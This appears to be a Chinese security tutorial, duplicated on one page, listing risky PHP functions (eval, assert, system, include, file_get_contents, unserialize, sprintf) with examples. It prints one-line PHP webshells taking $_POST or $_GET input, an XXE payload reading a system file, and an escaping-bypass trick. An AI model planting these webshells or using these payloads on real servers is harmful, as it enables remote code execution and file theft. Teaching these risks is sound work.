PHP中哪些函数使用不当可能导致安全风险?

2026-05-23 00:351阅读0评论SEO教程
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计2402个文字,预计阅读时间需要10分钟。

代码执行风险函数包括 `eval()`, 将字符串作为 PHP 代码执行。早期 PHP 中,一句经典的是 `` 和 `assert()` 检查一个断言是否为 false,然后将字符串作为 PHP 代码执行。同样常用的是将字符串作为 PHP 代码执行。

代码执行的危险函数
  • eval() 把字符串作为php代码执行

早期php一句话木马都用这个

<?php @eval($_POST['shell']);?>

  • assert() 检查一个断言是否为false,将字符串作为php代码执行

同样经常被用作一句话木马

<?php assert(@$_POST['shell']); ?>

  • preg_replace() 执行正则表达式的搜索和替换


当匹配模式/e时,该函数会将$replacement作为php代码执行

preg_replace("/test/e",$_GET["shell"],"just test");

  • create_function() 创建一个匿名函数

跟python的lambda语句类似,在php7.2.0后被废弃

$newfunc = create_function('$v', 'return system($v);'); $newfunc('whoami');

  • array_map() 为数组的每个元素应用回调函数

array_map()函数将用户自定义的函数作用到数组中的每个值上,并返回用户自定义函数作用后带有新值的数组,这里相当于一种动态调用

<?php $func=$_GET['func']; $cmd=$_GET['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); ?>

  • call_user_func() 把第一个参数作为回调函数调用,其他参数是回调函数的参数

<?php @call_user_func("assert",$_GET['cmd']); ?>

  • call_user_func_array() 调用回调函数,并将第一个数组参数作为回调函数参数

<?php $cmd=$_GET['cmd']; $array[0]=$cmd; @call_user_func_array("assert",$array); ?>

  • array_filter() 使用回调函数过滤数组的元素

依次将数组中的每个值传递到callback函数,如果callback函数返回true,则数组的当前值会被包含在返回的结果数组中,数组的键名保留不变

<?php $cmd=$_GET['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func); ?>

命令执行的危险函数
  • system() 执行外部程序,并显示输出

<?php system($_GET['cmd']); ?>

  • exec() 执行外部程序

<?php echo exec("whoami"); ?>

  • shell_exec() 通过shell环境执行命令,并将完整的输出以字符串的方式返回

<?php echo shell_exec("whoami"); ?>

  • passthru() 执行外部程序并且显示原始输出

<?php passthru("whoami"); ?>

  • proc_open() 执行一个命令,并且打开用来输入/输出的文件指针
  • pcntl_exec() 在当前进程空间执行指定程序
  • popen() 打开进程文件指针
  • 反引号,实质上还是调用的shell_exec()函数,在CTF题目里面有的时候会忘记过滤导致直接拿到flag
文件包含的危险函数

php中包含的函数一共有四个,主要作用为包含并运行指定文件

  • require() 函数
  • inclue() 函数
  • require_once() 函数
  • include_once() 函数

include()require_once()主要的区别是:include()在包含的过程中如果出现错误,会抛出一个警告,程序继续运行;而require()函数出现错误时,会直接报错并退出程序的执行

require_once()include_once(),显然表示的是文件只包含一次的意思,避免函数重定义和变量重新赋值等问题

文件包含还分为了本地文件包含和远程文件包含,这里就不再进行赘述

当被包含文件可控的情况下,我们可以包含任意文件,从而达到GetShell的目的,也可以使用filter伪协议读取文件内容,关于php伪协议会在后面的文章进行介绍

SSRF的危险函数
  • file_get_contents()
  • fsockopen()
  • curl_exec()
  • fopen()
  • readfile()
  • ...
    函数使用不当会造成SSRF漏洞

利用的相关协议:

  • file协议: 在有回显的情况下,利用file协议可以读取任意的内容
  • dict协议: 泄露安装软件版本信息,查看端口,操作内网redis服务等
  • gopher协议: gopher支持发出GET,POST请求,可以通过抓包然后构造成gopher协议的请求
  • input ===> post请求体的内容 $xmlfile = file_get_contents('php://input'); //exit(-1); //创建一个DOMDocument类型的对象 $dom = new DOMDocument(); //loadXML 从字符串中读取,生成一个DOMDocument类型的对象 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //var_dump($dom); //exit(-1); //把一个DOMDocument类型的对象转发成一个simpleXML类型的对象 $creds = simplexml_import_dom($dom); //因为存在SIMPLEXMLelement存在__toString__魔术方法, //因此可以直接打印 echo $creds; ?>

    payload为

    <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=C:/Windows/system.ini"> ]> <creds>&goodies;</creds>

    成功读取base64加密后的system.ini文件内容

    php防御手段:

    设置libxml_disable_entity_loader=TRUE来禁用外部实体

    文件操作相关函数

    文件操作无外乎增删改查,在不同场景下利用手法不同

    • 增,改 : 写入shell相关的内容
    • 删 : 删除.lock文件导致CMS重新安装
    • 查 读取配置等文件,拿到敏感信息
    • ...

    文件操作的函数有很多:

    • unlink() 传入文件名删除文件
    • copy() 复制文件
    • highlight_file() 对php文件语法高亮显示
    • show_source() highlight_file的别名
    • file_get_contents()
    • fopen()
    • parse_ini_file()
    • readfile()
    • fread()
    • ...
    敏感信息的危险函数
    • phpinfo() 输出关于php配置的信息
    • getenv() 获取一个环境变量的值
    • get_current_user() 获取当前php脚本所有者的名称
    • getlastmod() 获取页面最后修改的时间
    • ini_get() 获取一个配置选项的值
    • glob() 寻找与模式匹配的文件路径
    反序列化危险函数
    • 序列化函数 serialize()
    • 反序列化函数 unserialize()
    • php十六个魔术方法,魔术方法命名是以符号__开头的
      • __construct() 类的构造函数
      • __destruct() 类的析构函数
      • __call() 在对象中调用一个不可访问方法时调用
      • __callStatic() 用静态方式中调用一个不可访问方法时调用
      • __get() 获得一个类的成员变量时调用
      • __set()设置一个类的成员变量时调用
      • __isset() 当对不可访问属性调用isset()或empty()时调用
      • __unset() 当对不可访问属性调用unset()时被调用。
      • __sleep() 执行serialize()时,先会调用这个函数
      • __wakeup() 执行unserialize()时,先会调用这个函数
      • __toString() 类被当成字符串时的回应方法
      • __invoke() 调用函数的方式调用一个对象时的回应方法
      • __set_state() 调用var_export()导出类时,此静态方法会被调用。
      • __clone() 当对象复制完成时调用
      • __autoload() 尝试加载未定义的类
      • __debugInfo() 打印所需调试信息

    关于如何利用反序列化漏洞,取决于应用程序的逻辑、可用的类和魔法方法。

    unserialize的参数用户可控,攻击者可以构造恶意的序列化字符串。当应用程序将恶意字符串反序列化为对象后,也就执行了攻击者指定的操作,如代码执行、任意文件读取等

    SQL注入的危险函数
    • mysql_query() 发送一条MySQL查询
    • mysql_connect() 打开一个到MySQL服务器的链接
    • sprintf() 将格式化的字符串写入变量中

    sprintf(format,arg1,arg2,arg++)

    arg1arg2arg++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。

    注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 "$" 组成。

    可以利用sprintf()绕过一些过滤字符的函数,例如在如下场景中

    <?php error_reporting(0); $name = $_GET['name']; $name = mysql_escape_string(stripslashes($name)); $sql = sprintf("select * from product where name = '$name' and adddate <= '%s' limit 1",date("Y-m-d H:i:s")); echo $sql; ?>

    我们的单引号被过滤了

    可以利用sprintf()的特性吃掉\

    • urldecode() 解码已编码的URL字符串
    • rawurldecode() 对已编码的URL字符串进行解码
    • is_numeric() 判断传入参数是否为字符串

    is_numeric()函数存在插入十六进制字符串到数据库,进而导致SQL二次注入的风险

    参考链接
    • www.freebuf.com/articles/web/269184.html
    • www.cnblogs.com/xiaozi/p/7834367.html
    • www.cnblogs.com/xiaozi/p/7831529.html
    • www.freebuf.com/articles/web/182280.html
    • segmentfault.com/a/1190000007250604
    • xz.aliyun.com/t/7405
    • www.erikten.cn/posts/dcd7a0ad.html
    • xz.aliyun.com/t/5877
    • blog.csdn.net/qq1124794084/article/details/104802553
    • www.freebuf.com/column/231352.html
    END

    建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注

标签:危险

本文共计2402个文字,预计阅读时间需要10分钟。

代码执行风险函数包括 `eval()`, 将字符串作为 PHP 代码执行。早期 PHP 中,一句经典的是 `` 和 `assert()` 检查一个断言是否为 false,然后将字符串作为 PHP 代码执行。同样常用的是将字符串作为 PHP 代码执行。

代码执行的危险函数
  • eval() 把字符串作为php代码执行

早期php一句话木马都用这个

<?php @eval($_POST['shell']);?>

  • assert() 检查一个断言是否为false,将字符串作为php代码执行

同样经常被用作一句话木马

<?php assert(@$_POST['shell']); ?>

  • preg_replace() 执行正则表达式的搜索和替换


当匹配模式/e时,该函数会将$replacement作为php代码执行

preg_replace("/test/e",$_GET["shell"],"just test");

  • create_function() 创建一个匿名函数

跟python的lambda语句类似,在php7.2.0后被废弃

$newfunc = create_function('$v', 'return system($v);'); $newfunc('whoami');

  • array_map() 为数组的每个元素应用回调函数

array_map()函数将用户自定义的函数作用到数组中的每个值上,并返回用户自定义函数作用后带有新值的数组,这里相当于一种动态调用

<?php $func=$_GET['func']; $cmd=$_GET['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); ?>

  • call_user_func() 把第一个参数作为回调函数调用,其他参数是回调函数的参数

<?php @call_user_func("assert",$_GET['cmd']); ?>

  • call_user_func_array() 调用回调函数,并将第一个数组参数作为回调函数参数

<?php $cmd=$_GET['cmd']; $array[0]=$cmd; @call_user_func_array("assert",$array); ?>

  • array_filter() 使用回调函数过滤数组的元素

依次将数组中的每个值传递到callback函数,如果callback函数返回true,则数组的当前值会被包含在返回的结果数组中,数组的键名保留不变

<?php $cmd=$_GET['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func); ?>

命令执行的危险函数
  • system() 执行外部程序,并显示输出

<?php system($_GET['cmd']); ?>

  • exec() 执行外部程序

<?php echo exec("whoami"); ?>

  • shell_exec() 通过shell环境执行命令,并将完整的输出以字符串的方式返回

<?php echo shell_exec("whoami"); ?>

  • passthru() 执行外部程序并且显示原始输出

<?php passthru("whoami"); ?>

  • proc_open() 执行一个命令,并且打开用来输入/输出的文件指针
  • pcntl_exec() 在当前进程空间执行指定程序
  • popen() 打开进程文件指针
  • 反引号,实质上还是调用的shell_exec()函数,在CTF题目里面有的时候会忘记过滤导致直接拿到flag
文件包含的危险函数

php中包含的函数一共有四个,主要作用为包含并运行指定文件

  • require() 函数
  • inclue() 函数
  • require_once() 函数
  • include_once() 函数

include()require_once()主要的区别是:include()在包含的过程中如果出现错误,会抛出一个警告,程序继续运行;而require()函数出现错误时,会直接报错并退出程序的执行

require_once()include_once(),显然表示的是文件只包含一次的意思,避免函数重定义和变量重新赋值等问题

文件包含还分为了本地文件包含和远程文件包含,这里就不再进行赘述

当被包含文件可控的情况下,我们可以包含任意文件,从而达到GetShell的目的,也可以使用filter伪协议读取文件内容,关于php伪协议会在后面的文章进行介绍

SSRF的危险函数
  • file_get_contents()
  • fsockopen()
  • curl_exec()
  • fopen()
  • readfile()
  • ...
    函数使用不当会造成SSRF漏洞

利用的相关协议:

  • file协议: 在有回显的情况下,利用file协议可以读取任意的内容
  • dict协议: 泄露安装软件版本信息,查看端口,操作内网redis服务等
  • gopher协议: gopher支持发出GET,POST请求,可以通过抓包然后构造成gopher协议的请求
  • input ===> post请求体的内容 $xmlfile = file_get_contents('php://input'); //exit(-1); //创建一个DOMDocument类型的对象 $dom = new DOMDocument(); //loadXML 从字符串中读取,生成一个DOMDocument类型的对象 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //var_dump($dom); //exit(-1); //把一个DOMDocument类型的对象转发成一个simpleXML类型的对象 $creds = simplexml_import_dom($dom); //因为存在SIMPLEXMLelement存在__toString__魔术方法, //因此可以直接打印 echo $creds; ?>

    payload为

    <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=C:/Windows/system.ini"> ]> <creds>&goodies;</creds>

    成功读取base64加密后的system.ini文件内容

    php防御手段:

    设置libxml_disable_entity_loader=TRUE来禁用外部实体

    文件操作相关函数

    文件操作无外乎增删改查,在不同场景下利用手法不同

    • 增,改 : 写入shell相关的内容
    • 删 : 删除.lock文件导致CMS重新安装
    • 查 读取配置等文件,拿到敏感信息
    • ...

    文件操作的函数有很多:

    • unlink() 传入文件名删除文件
    • copy() 复制文件
    • highlight_file() 对php文件语法高亮显示
    • show_source() highlight_file的别名
    • file_get_contents()
    • fopen()
    • parse_ini_file()
    • readfile()
    • fread()
    • ...
    敏感信息的危险函数
    • phpinfo() 输出关于php配置的信息
    • getenv() 获取一个环境变量的值
    • get_current_user() 获取当前php脚本所有者的名称
    • getlastmod() 获取页面最后修改的时间
    • ini_get() 获取一个配置选项的值
    • glob() 寻找与模式匹配的文件路径
    反序列化危险函数
    • 序列化函数 serialize()
    • 反序列化函数 unserialize()
    • php十六个魔术方法,魔术方法命名是以符号__开头的
      • __construct() 类的构造函数
      • __destruct() 类的析构函数
      • __call() 在对象中调用一个不可访问方法时调用
      • __callStatic() 用静态方式中调用一个不可访问方法时调用
      • __get() 获得一个类的成员变量时调用
      • __set()设置一个类的成员变量时调用
      • __isset() 当对不可访问属性调用isset()或empty()时调用
      • __unset() 当对不可访问属性调用unset()时被调用。
      • __sleep() 执行serialize()时,先会调用这个函数
      • __wakeup() 执行unserialize()时,先会调用这个函数
      • __toString() 类被当成字符串时的回应方法
      • __invoke() 调用函数的方式调用一个对象时的回应方法
      • __set_state() 调用var_export()导出类时,此静态方法会被调用。
      • __clone() 当对象复制完成时调用
      • __autoload() 尝试加载未定义的类
      • __debugInfo() 打印所需调试信息

    关于如何利用反序列化漏洞,取决于应用程序的逻辑、可用的类和魔法方法。

    unserialize的参数用户可控,攻击者可以构造恶意的序列化字符串。当应用程序将恶意字符串反序列化为对象后,也就执行了攻击者指定的操作,如代码执行、任意文件读取等

    SQL注入的危险函数
    • mysql_query() 发送一条MySQL查询
    • mysql_connect() 打开一个到MySQL服务器的链接
    • sprintf() 将格式化的字符串写入变量中

    sprintf(format,arg1,arg2,arg++)

    arg1arg2arg++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。

    注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 "$" 组成。

    可以利用sprintf()绕过一些过滤字符的函数,例如在如下场景中

    <?php error_reporting(0); $name = $_GET['name']; $name = mysql_escape_string(stripslashes($name)); $sql = sprintf("select * from product where name = '$name' and adddate <= '%s' limit 1",date("Y-m-d H:i:s")); echo $sql; ?>

    我们的单引号被过滤了

    可以利用sprintf()的特性吃掉\

    • urldecode() 解码已编码的URL字符串
    • rawurldecode() 对已编码的URL字符串进行解码
    • is_numeric() 判断传入参数是否为字符串

    is_numeric()函数存在插入十六进制字符串到数据库,进而导致SQL二次注入的风险

    参考链接
    • www.freebuf.com/articles/web/269184.html
    • www.cnblogs.com/xiaozi/p/7834367.html
    • www.cnblogs.com/xiaozi/p/7831529.html
    • www.freebuf.com/articles/web/182280.html
    • segmentfault.com/a/1190000007250604
    • xz.aliyun.com/t/7405
    • www.erikten.cn/posts/dcd7a0ad.html
    • xz.aliyun.com/t/5877
    • blog.csdn.net/qq1124794084/article/details/104802553
    • www.freebuf.com/column/231352.html
    END

    建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注

标签:危险